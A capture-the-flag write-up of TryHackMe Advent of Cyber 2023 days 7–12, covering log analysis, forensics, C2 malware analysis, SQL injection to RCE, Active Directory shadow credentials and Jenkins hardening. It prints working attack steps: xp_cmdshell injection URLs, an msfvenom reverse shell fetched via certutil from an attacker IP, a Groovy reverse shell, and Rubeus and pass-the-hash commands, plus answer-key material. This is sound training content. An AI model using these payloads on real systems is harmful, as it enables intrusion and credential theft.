CHALLENGE INFORMATION

Platform: TryHackMe
Event: Advent of Cyber 2023
Days: 07-12

AoC-2024 - Day-07 Hero

Day-07

‘Tis the season for log chopping!

Storyline

After being demoted during a company acquisition, Tracy McGreedy installed CrypTOYminer malware across all company workstations and servers. While McGreedy intended to disrupt the company, the malware also contains a hidden data-stealing component used by its original author.

We must now assist Forensic McBlue’s team in analyzing network logs to investigate the resulting unusual traffic and significant data exfiltration.

Overview

This challenge introduces the fundamentals of log analysis and proxy servers, focusing on how to identify malicious network activity. We are tasked with analyzing a proxy log file (access.log) to hunt for indicators of compromise, such as malicious binary downloads, data exfiltration, or persistent beaconing.

To analyze the dataset, we use various Linux command-line tools and pipes to filter and manipulate the log data. We utilize cut to isolate specific fields like timestamps, source IPs, and domains, and combine grep, sort, uniq, head, and tail to identify the most frequently accessed domains. By piping these commands together, we can efficiently transform raw log entries into a structured list of connection counts.

The ultimate goal is to detect suspicious traffic and uncover a security breach. By identifying an unusual domain among the top accessed sites and isolating the URI parameters, we discover Base64-encoded strings. Decoding these strings reveals that sensitive company data was being exfiltrated via HTTP GET requests.

Questions and Answers

Question-1: How many unique IP addresses are connected to the proxy server?

9

cat access.log | cut -d ' ' -f2 | sort | uniq | wc -l

Question-2: How many unique domains were accessed by all workstations?

111

cat access.log | cut -d ' ' -f3 | cut -d ':' -f1 | sort | uniq | wc -l

Question-3: What status code is generated by the HTTP requests to the least accessed domain?

503

# get the least accessed domain
cat access.log | cut -d ' ' -f3 | cut -d ':' -f1 | sort | uniq -c | sort | head -n 1

# get the status code
grep partnerservices.getmicrosoftkey.com access.log

Question-4: Based on the high count of connection attempts, what is the name of the suspicious domain?

frostlings.bigbadstash.thm

cat access.log | cut -d ' ' -f3 | cut -d ':' -f1 | sort | uniq -c | sort

Question-5: What is the source IP of the workstation that accessed the malicious domain?

10.10.185.225

grep frostlings.bigbadstash.thm access.log

Question-6: How many requests were made on the malicious domain in total?

1581

grep frostlings.bigbadstash.thm access.log | wc -l

Question-7: Having retrieved the exfiltrated data, what is the hidden flag?

THM{<redacted-flag>}

grep frostlings.bigbadstash.thm access.log | cut -d ' ' -f5 | cut -d '=' -f2 | base64 -d | grep -i thm

Question-8: If you enjoyed doing log analysis, check out the Log Analysis module in the SOC Level 2 Path.

No answer needed

AoC-2024 - Day-08 Hero

Day-08

Have a Holly, Jolly Byte!

Storyline

Following the merger of Best Festival Company and AntarctiCrafts, a disgruntled regional manager named Tracy McGreedy plots to sabotage the organization. His accomplice, Van Sprinkles, initiates a cyber attack but eventually changes sides, assisting McSkidy’s team in uncovering and stopping McGreedy’s scheme.

Overview

McGreedy has orchestrated a corporate conspiracy by distributing malware-laden USB drives among AntarctiCrafts employees. After an employee unknowingly plugs in one of these devices, causing network chaos, McSkidy and his team confiscate the drive to uncover the scheme. Our objective is to perform a digital forensic analysis of the USB drive to recover deleted evidence and expose McGreedy’s plan.

We will use FTK Imager to analyze a write-protected emulated USB drive without altering the original evidence. The process involves adding the physical drive as an evidence item, navigating the Evidence Tree and File List panes, and utilizing Automatic, Text, and Hex preview modes to examine file contents.

To complete the challenge, we will search for specific strings using the find function, recover deleted files marked with an x icon via the Export Files option, and verify the drive’s integrity by generating MD5 and SHA1 hashes.

Questions and Answers

Question-1: What is the malware C2 server?

mcgreedysecretc2.thm

Question-2: What is the file inside the deleted zip archive?

JuicyTomaTOY.exe

Question-3: What flag is hidden in one of the deleted PNG files?

THM{<redacted-flag>}

Question-4: What is the SHA1 hash of the physical drive and forensic image?

39f2dea6ffb43bf80d80f19d122076b3682773c2

Question-5: If you liked today’s challenge, the Digital Forensics Case B4DM755 room is an excellent overview of the entire digital forensics and incident response (DFIR) process!

No answer needed

AoC-2024 - Day-09 Hero

Day-09

She sells C# shells by the C2shore

Storyline

After recovering the deleted malware used by Tracy McGreedy to remotely control elves, Forensic McBlue and his team are shifting their focus to the attacker’s back-end infrastructure. We will analyze the malware’s source code to identify the infrastructure and develop a strategy to stop the mind control incident.

Malware Analysis Walkthrough

We are analyzing a malware sample written in C# to understand its functionality and communication patterns. Because the binary is compiled using the .NET framework, it utilizes an intermediate language (IL) that allows us to retrieve the original source code through decompilation rather than relying solely on low-level assembly.

To perform this analysis safely, we use a sandbox environment – an isolated virtual machine with network controls and monitoring tools – which prevents the malware from affecting our actual systems.

The technical goal of this exercise is to reverse engineer the binary using dnSpy to map out the malware’s execution pipeline. We begin by loading the defanged sample into dnSpy and examining its individual functions to understand their purpose:

  • GetIt and PostIt: These functions handle HTTP GET and POST requests, respectively, allowing the malware to communicate with a remote server.
  • Sleeper: This function uses Thread.Sleep to pause execution, a common technique used to evade detection.
  • ExecuteCommand: This function spawns a hidden cmd.exe process to run OS commands on the victim’s machine.
  • Encryptor and Decryptor: These use AES encryption and Base64 encoding to obfuscate data sent to and from the C2 server.
  • Implant: This acts as a dropper, downloading additional malicious files from a URL and saving them to the local AppData folder.

By analyzing the Main function, we can reconstruct the malware’s operational flow. The process starts by retrieving the victim’s hostname and reporting it to the /reg endpoint of the C2 server to establish a connection.

The malware then enters an infinite loop where it periodically polls the /tasks endpoint via a GET request to receive instructions. Depending on the decrypted command received, the malware performs one of four actions: it can adjust its sleep timer (sleep), execute system commands (shell), download additional payloads (implant), or terminate its own process (quit).

Any output from the shell or implant functions is encrypted and reported back to the attacker via the /results endpoint.

Questions and Answers

Question-1: What HTTP User-Agent was used by the malware for its connection requests to the C2 server?

Mozilla/5.0 (Macintosh; Intel Mac OS X 14_0) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.0 Safari/605.1.15

Question-2: What is the HTTP method used to submit the command execution output?

POST

Question-3: What key is used by the malware to encrypt or decrypt the C2 data?

youcanthackthissupersecurec2keys

Question-4: What is the first HTTP URL used by the malware?

http://mcgreedysecretc2.thm/reg

Question-5: How many seconds is the hardcoded value used by the sleep function?

15

Question-6: What is the C2 command the attacker uses to execute commands via cmd.exe?

shell

Question-7: What is the domain used by the malware to download another binary?

stash.mcgreedy.thm

Question-8: Check out the Malware Analysis module in the SOC Level 2 Path if you enjoyed analysing malware.

No answer needed

AoC-2024 - Day-10 Hero

Day-10

Inject the Halls with EXEC Queries

Storyline

The Best Festival Company’s website has been hijacked and defaced, leaving the development team locked out of their own server. To regain access, the security team is investigating the breach after discovering a forum post on JingleHax where a user named Gr33dster auctioned off zero-day vulnerabilities targeting the company.

Through external testing of the website, we suspect that the attacker leveraged an injection vulnerability to compromise the server.

SQL Injection Fundamentals

Relational databases organize data into interconnected tables using SQL to query, insert, update, and delete records. In web development, PHP often acts as the server-side bridge, dynamically generating SQL queries based on user-supplied data, such as GET parameters in a URL.

When applications incorporate this user input into queries without proper validation or sanitization, they become vulnerable to SQL Injection (SQLi). We can exploit this by injecting malicious SQL syntax to manipulate the database’s logic. For example, using the payload ' OR 1=1 -- allows us to create a condition that always evaluates to true, potentially bypassing authentication or dumping all records from a table. While effective for proof-of-concept, such broad payloads can be risky in production environments as they may inadvertently trigger mass updates or deletions.

Beyond simple data retrieval, we can use stacked queries to execute entirely new commands. By using a semicolon (;) to terminate the original query, we can append additional statements – such as INSERT – to modify database content.

To identify these vulnerabilities in a real-world scenario, we perform the following steps:

  1. Manually enumerate the application to find input fields or URL parameters that interact with a database.
  2. Test for unsanitized input by injecting special characters like single quotes (') to trigger database error messages.
  3. Analyze error messages to identify the specific Database Management System (DBMS) in use, such as Microsoft SQL Server.
  4. Craft and inject a payload to verify the vulnerability, such as using an OR 1=1 statement to retrieve unauthorized data.

Remote Code Execution via SQL Injection

We can escalate a stacked query vulnerability to achieve remote code execution (RCE) by calling stored procedures. In Microsoft SQL Server, the xp_cmdshell procedure is particularly valuable as it allows the database to execute operating system commands. Although typically disabled by default, misconfigurations often leave it active or allow users with sufficient permissions to enable it.

To obtain RCE, we follow these steps:

  1. Enable advanced options and the xp_cmdshell procedure using a series of stacked EXEC sp_configure and RECONFIGURE statements.
  2. Verify execution by using a native Windows binary, such as certutil.exe, to make an outbound HTTP request to a server we control.
  3. Generate a reverse shell payload using msfvenom for the target architecture (e.g., Windows x64) and serve it via a Python HTTP server.
  4. Use xp_cmdshell to command the target system to download the payload to a temporary directory (e.g., C:\Windows\Temp\).
  5. Start a netcat listener on the AttackBox to catch the incoming connection.
  6. Execute the downloaded payload via another stacked query to establish an interactive reverse shell.

Once the shell is established, we can perform post-exploitation tasks, such as exploring the file system (e.g., the C:\Users directory) to find recovery files or sensitive data.

To prevent these attacks, developers should implement input validation, utilize parameterized statements (prepared queries) to separate data from code, and use secure stored procedures.

Questions and Answers

Question-1: Manually navigate the defaced website to find the vulnerable search form. What is the first webpage you come across that contains the gift-finding feature?

/giftsearch.php

Question-2: Analyze the SQL error message that is returned. What ODBC Driver is being used in the back end of the website?

ODBC Driver 17 for SQL Server

Question-3: Inject the 1=1 condition into the Gift Search form. What is the last result returned in the database?

THM{<redacted-flag>}

http://10.10.203.193/giftresults.php?age=%27%20OR%201=1%20--

Question-4: What flag is in the note file Gr33dstr left behind on the system?

THM{<redacted-flag>}

-- enable advanced configurations; apply the change to the running configuration;
-- enable the `xp_cmdshell` procedure; apply the change to the running configuration

http://10.10.203.193/giftresults.php?age='; EXEC sp_configure 'show advanced options', 1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE; --
# create reverse shell payload with msfvenom
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.9.27.115 LPORT=4444 -f exe -o reverse.exe

# run HTTP server on lhost to serve the file
python3 -m http.server 8000
-- call `xp_cmdshell` and execute the `certutil.exe` on rhost to download our reverse shell

http://10.10.203.193/giftresults.php?age='; EXEC xp_cmdshell 'certutil -urlcache -f http://10.9.27.115:8000/reverse.exe C:\Windows\Temp\reverse.exe'; --
# start netcat listener on lhost
nc -lvnp 4444
-- execute the reverse shell on rhost
http://10.10.203.193/giftresults.php?age='; EXEC xp_cmdshell 'C:\Windows\Temp\reverse.exe'; --

Question-5: What is the flag you receive on the homepage after restoring the website?

THM{<redacted-flag>}

cd c:\Users\Administrator\Desktop
.\restore_website.bat

Question-6: If you enjoyed this task, feel free to check out the Software Security module.

No answer needed

AoC-2024 - Day-11 Hero

Day-11

Jingle Bells, Shadow Spells

Storyline

AntarctiCrafts prioritizes climate research over cybersecurity, leading to vulnerabilities as its infrastructure integrates with other systems. Despite their expertise, the small team lacks sufficient security awareness. We will now examine the current state of user permissions to determine if the HR user still possesses excessive privileges following a previous audit.

Overview

Active Directory (AD) is a centralized authentication and authorization system used in Windows environments, where the Domain Controller manages the directory’s objects and permissions. A modern authentication feature called Windows Hello for Business (WHfB) replaces passwords with cryptographic key pairs, storing the user’s public key in the msDS-KeyCredentialLink attribute. If an attacker can modify this attribute, they can perform a Shadow Credentials attack to impersonate a user.

To exploit this vulnerability, we follow these steps:

  1. Enumeration: We use the PowerView PowerShell script and the Find-InterestingDomainAcl command to identify users with write permissions over others. In this case, the user hr has GenericWrite privileges over the Administrator account.
  2. Certificate Injection: We use the tool Whisker to simulate a malicious device enrollment, which generates a new key pair and overwrites the target’s msDS-KeyCredentialLink attribute with a malicious public key.
  3. TGT Request: We use Rubeus to request a Ticket Granting Ticket (TGT) by providing the certificate generated by Whisker. This allows us to impersonate the target user and retrieve their NTLM hash.
  4. Access: Using the retrieved NTLM hash, we perform a pass-the-hash attack via Evil-WinRM to gain remote administrative access to the machine and retrieve the flag.

The ultimate goal is to demonstrate how violating the principle of least privilege by granting excessive write permissions can lead to a full domain compromise.

Questions and Answers

Question-1: What is the hash of the vulnerable user?

03E805D8A8C5AA435FB48832DAD620E3

# Connecting to rhost
xfreerdp /u:hr /p:Passw0rd! /v:10.10.252.129 /dynamic-resolution

Once connected, perform the following on the target:

# change working dir
cd C:\Users\hr\Desktop

# bypass the default policy for arbitrary ps script
powershell -ep bypass

# load the PowerView script into the memory
. .\PowerView.ps1

# return user's privileges | filter the current user 'hr' 
# | filter for the current user, the vulnerable user and the privilege assigned
 
Find-InterestingDomainAcl -ResolveGuids | Where-Object { $_.IdentityReferenceName -eq "hr" } | Select-Object IdentityReferenceName, ObjectDN, ActiveDirectoryRights

# Simulate the enrollment of a malicious device
# update the `msDS-KeyCredentialLink` attribute
.\Whisker.exe add /target:vansprinkles

# Ask for a TGT using the created certificate

# asktgt: make request to obtain the TGT
# /user: the user we want to impersonate for the TGT
# /certificate: the certificate generated to impersonate the target user
# /password: the password used for decoding the certificate since it's encrypted
# /domain: the target domain
# /getcredentials: retrieve the NTLM hash
# /dc: specify the domain controller that will generate the TGT

\Rubeus.exe asktgt /user:Administrator /certificate:MIIJwAIBAzCCCXwGCSqGSIb3DQEH[snip] /password:"qfyNlIfCjVqzwh1e" /domain:AOC.local /dc:southpole.AOC.local /getcredentials /show

Question-2: What is the content of flag.txt on the Administrator Desktop?

THM{<redacted-flag>}

# Perform a Pass-the-Hash attack with Evil-WinRM

# from lhost
# -i:specify target; -u:specify user; -H:specify NTLM hash
evil-winrm -i 10.10.252.129 -u Administrator -H F138C405BD9F3139994E220CE0212E7C

# once logged in --> flag at C:\Users\Administrator\Desktop\flag.txt

Question-3: If you enjoyed this task, feel free to check out the Compromising Active Directory module!

No answer needed

Question-4: Van Sprinkles left some stuff around the DC. It’s like a secret message waiting to be unravelled!

No answer needed

AoC-2024 - Day-12 Hero

Day-12

Sleighing Threats, One Layer at a Time

Storyline

Following a chaotic company merger, the organization’s security posture has degraded, leaving servers and endpoints highly vulnerable. To mitigate this risk, McHoneyBell aims to implement a Defence in Depth strategy to fortify every layer of the infrastructure, from physical hardware to cloud services.

Our objective is to explore how this layered security approach can be used to strengthen the overall environment.

Attack Chain and Server Hardening Walkthrough

This challenge involves a server with multiple intentional misconfigurations and poor security practices. The goal is to demonstrate a full attack chain leading to root access and subsequently apply defense-in-depth strategies to secure the environment.

Attack Chain

We begin by accessing a Jenkins instance on port 8080. By navigating to the Script Console, we can execute a Groovy reverse shell script to gain an initial foothold as the Jenkins user. While enumerating the system, we find a backup script in /opt/scripts containing plaintext credentials for a user named tracy.

We use these credentials to pivot via SSH and log in as tracy. Finally, by checking sudo permissions with sudo -l, we discover that tracy has full administrative privileges, allowing us to execute sudo su and gain root access.

Hardening Process

To secure the server, we implement several layers of defense based on the principle of least privilege and zero trust:

  • Privilege Reduction: We remove the user tracy from the sudo group to prevent immediate escalation to root.
  • SSH Hardening: We disable password-based authentication in /etc/ssh/sshd_config to thwart attacks using compromised plaintext credentials.
  • Password Policy: We implement stronger password requirements to mitigate brute-force attacks and discourage poor credential management.
  • Access Control: We move toward a zero-trust model by restoring the Jenkins config.xml from a backup, enabling denyAnonymousReadAccess and the HudsonPrivateSecurityRealm to require authentication for platform access.

Questions and Answers

Question-1: What is the default port for Jenkins?

8080

# Log in credentials
# user
admin
# pwd
SupeStrongPassword123

# Attack Chain walkthrough
# lhost:
http://rhost:8080

# accessing jenkins
# Manage Jenkins > Script Console

Groovy reverse shell script:

String host="attacking machine IP here";
int port=6996;
String cmd="/bin/bash";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();

Follow up:

# lauch netcat listener on lhost
nc -nvlp 6969

# after connection is established, search for low hanging fruits
# user tracy's ssh pwd at
cat /opt/scripts/backup.sh

# ssh into the machine
ssh tracy@<rhost>

# check for sudo privileges on rhost for user tracy
sudo -l
# elevate to root
sudo su

Guided hardening walkthrough:

# on rhost as the admin 

# remove tracy's sudo privileges
sudo deluser tracy sudo
# verify
sudo -l -U tracy

# hardening ssh - disallow password auth. login
sudo vim /etc/ssh/sshd_config
# uncomment '#PasswordAuthentication yes' and set to no --> result: 'PasswordAuthentication no'
# comment out 'Include /etc/ssh/sshd_config.d/*.conf'

# verify changes
egrep '^PasswordAuthentication|^#Include' /etc/ssh

# restart the service 
sudo systemctl restart ssh

# jenkins hardening -- config file at /var/lib/jenkins/config.xml
sudo vim /var/lib/jenkins/config.xml.bak
# remove "!--" and ending "--" for both `authorizationStrategy` and `securityRealm`

# verify changes
egrep 'denyAnonymousReadAccess|disableSignup|enableCaptcha'

# restart the service
sudo systemctl restart jenkins

Question-2: What is the password of the user tracy?

13_1n_33

Question-3: What’s the root flag?

<redacted-flag>

Question-4: What is the error message when you login as tracy again and try ‘sudo -l’ after its removal from the sudoers group?

Sorry, user tracy may not run sudo on jenkins.

Question-5: What’s the SSH flag?

<redacted-flag>

Question-6: What’s the Jenkins flag?

<redacted-flag>

Question-7: If you enjoyed this room, please check out our SOC Level 1 learning path.

No answer needed